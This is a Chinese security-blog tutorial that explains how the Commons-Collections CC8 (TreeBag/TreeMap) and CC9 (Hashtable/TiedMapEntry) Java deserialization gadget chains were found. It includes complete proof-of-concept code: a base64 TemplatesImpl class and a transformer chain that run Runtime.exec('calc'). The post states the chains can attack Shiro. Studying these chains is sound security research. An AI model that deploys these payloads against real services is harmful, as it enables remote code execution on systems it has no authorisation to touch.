JAVA安全|Gadget篇:CC8 CC9链

admin 2023年2月13日10:29:53评论209 views字数 9414阅读31分22秒阅读模式
0x00  前言
    JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需要读者具备一定java基础,不定时更新。相关详情可通过我的公众号文章进行查看:
JAVA安全|即将开启:java安全系列文章
    Gadget篇主要是分析一些经典常见的反序列化链,基本来自于Ysoserial工具。与网上大部分分析反序列化链文章的不同点在于我会尽可能地从如何发现链子的角度来讲解,参考的资料主要为B站白日梦组长的视频以及P牛的JAVA安全漫谈系列文章

    本文为JAVA安全系列文章第十八篇,学习Ysoserial七条CC链之外的另外两条CC链—CC8和CC9。重点在于理解掌握TreeMap的底层实现原理。

0x01  CC8链

在CC2和CC4链中,我们认识到了另一个可以调用Transformer#transform()的方法—TransformingComparator#compare()。在这两条链中,我们使用PriorityQueue(优先队列)作为反序列入口,它是基于二叉树和堆,即二叉堆这种数据结构来实现。它的readObject()方法中由于要重构二叉堆,会进行二叉树节点的比较,比较是用Comparator#compare()从而触发Transformer#transform()造成命令执行。

那么我们就要想了,有没有其他基于二叉树的结构,在反序列化时也会调用Comparator#compare()呢?

我们会想到另一个关于树的重要数据结构—红黑树,又称红-黑二叉树,它首先是一棵二叉树,它具有二叉树所有的特性。同时红黑树更是一棵自平衡的排序二叉树。在JAVA中使用TreeMap来实现。

一、TreeMap

我们看到TreeMap#readObject(),但并没有调用到Comparator#compare():

JAVA安全|Gadget篇:CC8 CC9链

JAVA安全|Gadget篇:CC8 CC9链

而是在TreeMap#put()调用到Comparator#compare():

JAVA安全|Gadget篇:CC8 CC9链

那么我们就要去找有没有谁的readObject()调用TreeMap#put()。

关于TreeMap实现原理,具体可参考这篇文章:

https://www.cnblogs.com/chenssy/p/3746600.html

二、TreeBag

由于TransformingComparator在commons-collections4包中才可反序列化,故我们除了JDK中自带的,还可以去找commons-collections4包中的类。

在org.apache.commons.collections4下有一个Bag接口,它继承Collection,计算对象在集合中出现的次数:

JAVA安全|Gadget篇:CC8 CC9链

而TreeMap对应的Bag为TreeBag:

JAVA安全|Gadget篇:CC8 CC9链

可序列化,父类为AbstractMapBag,反序列化时调用父类的doReadObject():

JAVA安全|Gadget篇:CC8 CC9链

可以看到在AbstractMapBag#doReadObject()中可以调用到TreeMap#put(),于是链子就接起来,我们还是采用TemlatesImpl来执行命令,Gadget chain如下:

JAVA安全|Gadget篇:CC8 CC9链

三、POC编写

有了前面的积累写出POC并不难,不过需要注意此处还是得先传入人畜无害的transformer,再反射修改;另外,虽然涉及到对象的比较,但我们并不需要创建TreeMap的两对键值对,因为TreeMap#put()中:

public V put(K key, V value) {
          //用t表示二叉树的当前节点
           Entry<K,V> t = root;
           //t为null表示一个空树,即TreeMap中没有任何元素,直接插入
           if (t == null) {
               //比较key值,个人觉得这句代码没有任何意义,空树还需要比较、排序?
               compare(key, key); // type (and possibly null) check
              ...
               return null;
          }
           int cmp;     //cmp表示key排序的返回结果
           Entry<K,V> parent;   //父节点
           // split comparator and comparable paths
           Comparator<? super K> cpr = comparator;    //指定的排序算法
           //如果cpr不为空,则采用既定的排序算法进行创建TreeMap集合
           if (cpr != null) {
               do {
                   parent = t;      //parent指向上次循环后的t
                   //比较新增节点的key和当前节点key的大小
                   cmp = cpr.compare(key, t.key);
                  ...
              } while (t != null);
          }
           //如果cpr为空,则采用默认的排序算法进行创建TreeMap集合
           else {
               if (key == null)     //key值为空抛出异常
                   throw new NullPointerException();
               /* 下面处理过程和上面一样 */
               Comparable<? super K> k = (Comparable<? super K>) key;
               do {
                   parent = t;
                   cmp = k.compareTo(t.key);
                  ...
              } while (t != null);
          }
          ...
           /*
            * 上面已经完成了排序二叉树的的构建,将新增节点插入该树中的合适位置
            * 下面fixAfterInsertion()方法就是对这棵树进行调整、平衡
            */
           fixAfterInsertion(e);
           //TreeMap元素数量 + 1
           size++;
           //TreeMap容器修改次数 + 1
           modCount++;
           return null;
}

POC如下:

public class CC8 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       //先传入一个transformer,其iMethodName为人畜无害的toString,避免add时就弹计算器
       Transformer transformer = new InvokerTransformer("toString", null, null);

       Comparator comparator = new TransformingComparator(transformer);
       TreeBag treeBag = new TreeBag(comparator);
       treeBag.add(templates);

       setFieldValue(transformer,"iMethodName","newTransformer");

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(treeBag);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();

  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}

同样,该链可直接用于攻击shiro且只能在commons.collections4.0下使用。

我想这条链的作者寻找的思路应该是:

先找了基于二叉树这种数据结构实现的类,看这些类的readObject()是否有调用到Comparator#compare(),找到TreeMap的put()方法中会调用Comparator#compare();既然commons-collections是为集合类提供了一些更强大的接口,那么就去找TreeMap在commons-collections组件中对应的类,最终找到TreeBag,发现它的readObject()调用TreeMap的put()进而调用Comparator#compare()。

个人感觉,找链还需要我们对JAVA SE比较熟悉,对数据结构有些了解,这样才有可能构造出新链。

0x02  CC9链

一、调用逻辑

回顾下之前的CC7链,我们是以HashTable为反序列化入口,通过AbstractMap#equals()来触发LazyMap#get(),从而触发Transformer数组造成命令执行的。

在分析HashTable#reconstitutionPut()时,有这样一段代码:

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
   throws StreamCorruptedException
{
   if (value == null) {
       throw new java.io.StreamCorruptedException();
  }
   // Makes sure the key is not already in the hashtable.
   // This should not happen in deserialized version.
   int hash = key.hashCode();
   int index = (hash & 0x7FFFFFFF) % tab.length;
   for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
       if ((e.hash == hash) && e.key.equals(key)) {
           throw new java.io.StreamCorruptedException();
      }
  }

此处的key若为TiedMapEntry,则就进入简化版CC6链的后半段,这就是CC9链!!!

二、Gadget chain

JAVA安全|Gadget篇:CC8 CC9链

三、POC编写

啥也不多说,POC如下:

public class CC9 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       Transformer[] fakeformers = new Transformer[]{};
       Transformer[] transforms = new Transformer[]{
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
      };

       //先传入人畜无害的fakeformers避免put时就弹计算器
       ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);

       Map innerMap = new HashMap();
       Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
       TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

       Hashtable hashtable = new Hashtable();
       hashtable.put(tiedMapEntry,"test");
       lazyMap.remove("xxx");

       //反射修改chainedTransformer中的iTransformers为transforms
       Class clazz = chainedTransformer.getClass();
       Field field = clazz.getDeclaredField("iTransformers");
       field.setAccessible(true);
       field.set(chainedTransformer,transforms);

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(hashtable);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }
}

同样,此链可稍作修改使其适配commons-collections4.0

另外Ysoserial中的CC6使用HashSet作为入口,后半部分写了一段较晦涩的代码,此链可看作使用HashTable为入口的CC6,原作者的后半部分也是一段较晦涩的代码:

JAVA安全|Gadget篇:CC8 CC9链

0x03  总结

一、关于CC8和CC9链

本文的CC8和CC9链我首先是在feihong那款shiro利用工具的反编译代码中看到的:

https://github.com/feihong-cs/ShiroExploit-Deprecated

后来又在wh1t3p1g师傅改造的Ysoserial中看到了源码:

https://github.com/wh1t3p1g/ysoserial/tree/master/src/main/java/ysoserial/payloads

CC8链可看作是受CC2和CC4启发去寻找的新链,CC9链可看作是用HashTable为反序列化入口的CC6链。本文重点在于CC8链,理解掌握TreeMap的底层实现原理。

二、关于CC链的后续学习

1.CC链到此只能说算是告一段落,并不是结束,要时常回顾下前面的分析文章并在此基础上去弄懂Ysoserial中的源码,虽然有些代码比较复杂,但作为一款反序列化的专业工具,其考虑的东西比较多,源码也值得学习;

2.github上也有一些师傅将自己魔改的Ysoserial开源了出来,比如:

su18 师傅的:https://github.com/su18/ysoserial

Y4er师傅的:https://github.com/Y4er/ysoserial

应该还有很多,可以自己去下载学习,魔改出自己的Ysoserial;

3.在众多的CC链中,常被提及或用到的主要是CC1,CC6,CC3,CCK1/K2,CC11,但这并不意味着我们不需要掌握其他CC链了,我们还是应当掌握,重点是学习链的原理,自己多总结构造链、找链的思路。

不建议把几条CC链的前半、后半部分做排列组合就是在找新链了,对技术提升意义并不大,只是玩游戏罢了。


由于本人水平有限,前面的分析文章难免会有错误的地方,大家理性对待,欢迎提出指正!!!


参考:

https://www.cnblogs.com/chenssy/p/3746600.html

https://github.com/wh1t3p1g/ysoserial/tree/master/src/main/java/ysoserial/payloads


Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链

第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链

第12篇:JAVA安全|基础篇:动态字节码加载(一)

第13篇:JAVA安全|基础篇:动态字节码加载(二)

第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造

第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链

第16篇:JAVA安全|Gadget篇:CC5 CC7链

第17篇:JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

原文始发于微信公众号(沃克学安全):JAVA安全|Gadget篇:CC8 CC9链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月13日10:29:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全|Gadget篇:CC8 CC9链https://cn-sec.com/archives/1549911.html

发表评论

匿名网友 填写信息